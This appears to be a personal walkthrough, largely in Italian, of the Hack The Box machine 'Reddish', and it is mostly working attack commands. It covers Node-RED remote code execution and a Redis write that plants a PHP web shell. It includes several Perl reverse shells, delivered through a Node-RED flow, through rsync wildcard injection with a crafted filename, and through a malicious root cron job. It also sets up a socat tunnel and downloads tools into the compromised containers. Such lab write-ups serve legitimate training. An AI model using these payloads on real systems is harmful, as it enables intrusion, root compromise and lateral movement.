HTB - Reddish
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-27 05:28 CET Nmap scan report for reddish (10.129.180.246) Host is up (0.050s latency). All 1000 scanned ports on reddish (10.129.180.246) are closed Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 1.51 seconds
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-27 05:28 CET Nmap scan report for reddish (10.129.180.246) Host is up (0.051s latency). Not shown: 65534 closed ports PORT STATE SERVICE 1880/tcp open vsat-control Nmap done: 1 IP address (1 host up) scanned in 16.01 seconds
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-27 05:29 CET Nmap scan report for reddish (10.129.180.246) Host is up (0.052s latency). PORT STATE SERVICE VERSION 1880/tcp open http Node.js Express framework |_http-title: Error Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.07 seconds
{"id":"e72c52ec2ba93670b5b9fcc018afcdff","ip":"::ffff:10.10.14.7","path":"/red/{id}"}
https://quentinkaiser.be/pentesting/2018/09/07/node-red-rce/
curl -L https://gist.githubusercontent.com/QKaiser/79459c3cb5ea6e658701c7d203a8c297/raw/8966e4ee07400f16b92737161ca8df3cbfa37f91/noderedsh.py > noderedsh.py
Devo modificare la funzione exploit()
con il seguente codice
rispetto al seguente diff
diff original_noderedsh.py modified_noderesh.py
252,256c252,256 < messages = json.loads(response) < for message in messages: < if "topic" in message and message["topic"] == "debug": < output = message["data"]["msg"].strip() < break --- > message = json.loads(response) > > if "data" in message and message["topic"] == "debug": > output = message["data"]["msg"].strip() >
python3 noderedsh.py http://reddish:1880/red/e72c52ec2ba93670b5b9fcc018afcdff > id
172.19.0.1 --> router (macchina host/processo docker) 172.19.0.4 --> nodered (docker #1) 172.19.0.2 --> redis (docker #2) nome dominio: reddish_composition_redis_1.reddish_composition_internal-network porta 6379 aperta 172.19.0.3 --> www (docker #3) nome dominio: reddish_composition_www_1.reddish_composition_internal-network port 80 aperta
172.20.0.2 --> backup (docker #4) nome dominio: reddish_composition_backup_1.reddish_composition_internal-network-2 porta 873 aperta
# ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever 11: eth0@if12: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:12:00:02 brd ff:ff:ff:ff:ff:ff inet 172.18.0.2/16 brd 172.18.255.255 scope global eth0 valid_lft forever preferred_lft forever 17: eth1@if18: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:13:00:04 brd ff:ff:ff:ff:ff:ff inet 172.19.0.4/16 brd 172.19.255.255 scope global eth1 valid_lft forever preferred_lft forever
./ncat 172.19.0.2 6379 set cmd "<?php echo system($_REQUEST['cmd']) ?>" config set dbfilename "test.php" config set dir "/var/www/html/" save
Per accedere al docker www
possiamo utilizzare NODE-red
con il
seguente flusso:
input http node
http request node
http://reddish_composition_www_1.reddish_composition_internal-network/test.php?cmd=perl%20-e%20%27use%20Socket%3B%24i%3D%22172.19.0.4%22%3B%24p%3D4321%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2Fbin%2Fsh%20-i%22%29%3B%7D%3B%27
http output node
Possiamo direttamente importante il seguente flusso
[ { "id": "7fc6c61d.3449a8", "type": "http in", "z": "32468df0.73c4e2", "name": "", "url": "/hello", "method": "get", "upload": false, "swaggerDoc": "", "x": 350, "y": 260, "wires": [ [ "8107a55.15eb558" ] ] }, { "id": "19a1e8bc.974347", "type": "http response", "z": "32468df0.73c4e2", "name": "", "statusCode": "", "headers": { }, "x": 917, "y": 267, "wires": [] }, { "id": "8107a55.15eb558", "type": "http request", "z": "32468df0.73c4e2", "name": "", "method": "GET", "ret": "txt", "url": "http://reddish_composition_www_1.reddish_composition_internal-network/test.php?cmd=perl%20-e%20%27use%20Socket%3B%24i%3D%22172.19.0.4%22%3B%24p%3D4321%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2Fbin%2Fsh%20-i%22%29%3B%7D%3B%27", "tls": "", "x": 630, "y": 440, "wires": [ [ "19a1e8bc.974347" ] ] } ]
Per passare dal docker nodered
al docker www
devo:
Entrare in
redis
danodered
e salvare il file malevolotest.php
./ncat 172.19.0.2 6379 set cmd "<?php echo system($_REQUEST['cmd']) ?>" config set dbfilename "test.php" config set dir "/var/www/html/" save
Mettermi in ascolto su
nodered
./ncat -lvnp 4321
Definire il flusso per accedere al web server
Andare all'URL definito
http://reddish:1880/api/e72c52ec2ba93670b5b9fcc018afcdff/hello
Andando in /backup/
troviamo lo script backup.sh
cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b rsync -a *.rdb rsync://backup:873/src/rdb/ cd / && rm -rf /var/www/html/* rsync -a rsync://backup:873/src/backup/ /var/www/html/ chown www-data. /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
L'idea è quella di creare in
/var/www/html/f187a0ec71ce99642e4f0afbd441a68b
due file:
Il primo file sarà chiamato '-e sh test.rdb' e può contenere qualsiasi cosa.
echo "yo" > '-e sh test.rdb';
Il secondo file sarà chiamato 'test.rdb' e conterrà il codice di una reverse shell in PERL.
echo "#/bin/bash \n perl -e 'use Socket;\$i=\"172.19.0.4\";\$p=4321;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" > test.rdb
Poi ci mettiamo in ascolto su nodered
con ncat
e otteniamo una
shell da root.
./ncat -lvnp 4321
Dal docker #3 abbiamo accesso ad una nuova rete.
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever 13: eth0@if14: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:13:00:03 brd ff:ff:ff:ff:ff:ff inet 172.19.0.3/16 brd 172.19.255.255 scope global eth0 valid_lft forever preferred_lft forever 17: eth1@if18: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:14:00:03 brd ff:ff:ff:ff:ff:ff inet 172.20.0.3/16 brd 172.20.255.255 scope global eth1 valid_lft forever preferred_lft forever
Tramite ping -c 1 backup
vediamo l'indirizzo IP di bakcup, che è 172.20.0.2
Per vedere i file nella macchina backup
possiamo utilizzare rsync
rsync -v rsync://backup:873/src/
# rsync -v rsync://backup:873/src/ receiving file list ... done drwxr-xr-x 4,096 2018/07/15 17:42:39 . -rwxr-xr-x 0 2018/05/04 21:01:30 .dockerenv -rwxr-xr-x 100 2018/05/04 19:55:07 docker-entrypoint.sh drwxr-xr-x 4,096 2018/07/15 17:42:41 backup drwxr-xr-x 4,096 2018/07/15 17:42:39 bin drwxr-xr-x 4,096 2018/07/15 17:42:38 boot drwxr-xr-x 4,096 2018/07/15 17:42:39 data drwxr-xr-x 3,640 2021/12/27 05:47:14 dev drwxr-xr-x 4,096 2018/07/15 17:42:39 etc drwxr-xr-x 4,096 2018/07/15 17:42:38 home drwxr-xr-x 4,096 2018/07/15 17:42:39 lib drwxr-xr-x 4,096 2018/07/15 17:42:38 lib64 drwxr-xr-x 4,096 2018/07/15 17:42:38 media drwxr-xr-x 4,096 2018/07/15 17:42:38 mnt drwxr-xr-x 4,096 2018/07/15 17:42:38 opt dr-xr-xr-x 0 2021/12/27 05:47:14 proc drwxr-xr-x 4,096 2018/07/15 17:42:39 rdb drwx------ 4,096 2018/07/15 17:42:38 root drwxr-xr-x 4,096 2021/12/27 05:47:15 run drwxr-xr-x 4,096 2018/07/15 17:42:38 sbin drwxr-xr-x 4,096 2018/07/15 17:42:38 srv dr-xr-xr-x 0 2021/12/27 18:01:11 sys drwxrwxrwt 4,096 2021/12/27 18:22:01 tmp drwxr-xr-x 4,096 2018/07/15 17:42:39 usr drwxr-xr-x 4,096 2018/07/15 17:42:39 var
#!/bin/bash set -ex service cron start exec rsync --no-detach --daemon --config /etc/rsyncd.conf
L'idea è quella di creare un cronjob
malevolo e di trasferirlo
nella macchina backup
in modo che sia eseguito tramite rsync
.
# comandi su www (docker #3) cd /tmp echo "* * * * * root perl -e 'use Socket;\$i=\"172.20.0.3\";\$p=9000;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" > test; rsync -v test rsync://backup:873/src/etc/cron.d/test ./ncat -lvnp 9000
Prima di metterci in ascolto con ncat sulla macchina www
dobbiamo
trasferire ncat
nella macchina www
. Per fare questo possiamo creare
un tunnel da NODE-red
al nostro box kali
tramite socat
con il
seguente comando, che deve essere eseguito su nodered
# comandi su nodered (docker #1) # assumo di aver scaricato socat nella macchina nodered ./socat TCP4-LISTEN:3334,fork TCP4:10.10.14.7:1337 &
Una volta fatto questo possiamo scaricare ncat su www con il seguente comando, che deve essere eseguito su www
# comandi su www (docker #3) cd /tmp perl -e 'use File::Fetch;$url="http://172.19.0.4:3334/ncat";$ff=File::Fetch->new(uri => $url);$file=$ff->fetch() or die $ff->error;'
rsync -v rsync://backup:873/src/etc/cron.d/ rsync -v test rsync://backup:873/src/etc/cron.d/test
ls /dev/sd* mount /dev/sda2 /mnt